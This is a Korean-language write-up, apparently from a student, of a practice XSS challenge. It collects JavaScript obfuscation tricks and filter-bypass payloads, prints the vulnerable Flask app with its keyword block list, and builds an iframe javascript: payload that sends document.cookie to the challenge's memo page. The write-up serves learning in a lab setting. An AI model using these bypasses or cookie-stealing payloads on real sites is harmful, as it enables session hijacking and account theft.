var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
history.toString(): "[object History]" 문자열 반환
URL.toString(): "function URL() { [native code] }" 반환
history+[]; history+0; 산술연산 수행-> 내부적으로 toString 함수 호출해 문자열 변환 후 연산 수행
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
이전에 XSS Filtering Bypass보다 업그레이드 된 버전을 풀어보자
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
# 여기까지는 이전 문제와 같음
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
# 추가된 필터링 단어들
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
필터링 단어가 추가되고 필터링이 되면 filtered!!!를 return해준다.
필터링 되는 단어들을 체크하고 넘어가보자
"script", "on", "javascript","window", "self", "this", "document", "location", "(", ")", "&#"
이렇게 필터링이 된다.
이것들을 최대한 쓰지 않거나 우회하는 과정을 통해 풀어내야할 것 같다.
scripscriptt이렇게 처음에 시도해봤는데, 가운데 있는 문자를 제거하는게 아니라 애초에 막아버린다..다른 문자들도 다 해봤는데 마찬가지.. 쓴다고 해도 우회를 해서 써야할 것 같다.
엉엉 내 시간 ㅠ
사랑니 빼고 와서 잠자고 일어났다.. 하핫
인터넷으로 xss 필터링 우회를 찾아보다가 iframe 태그를 발견했다.
<iframe src="javascript:location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
여기서 필터링 되는 단어들을 잘 우회해야 할것 같다.
<iframe src="javascri%09pt:locatio%09n.href='http://127.0.0.1:8000/memo?memo='+docume%09nt.cookie">
필터링 되는 단어에 %09로 tab을 쳐주고 해봤다. 안된다.
그리고 계속 시도해봤는데도 안되서...Q&A를 슬쩍 봤다. 스크립트의 인코딩 방식에 대해 생각해보면 풀린다고 했다..
잘 모르겠어서.. repeater로 보내준 것을 보다가

여기에 나와있는 URL encoding을 긁어와서 붙여주었더니
<iframe src="javascri pt:locatio n.href='http://127.0.0.1:8000/memo?memo='+ docume nt.cookie">

이번 학기에 웹 보안 수업을 듣는데.. 그것을 듣고 나면 이 문제에 대해 더 잘 이해할 수 있을 것 같다. 꼭 다시 풀어봐야겠다.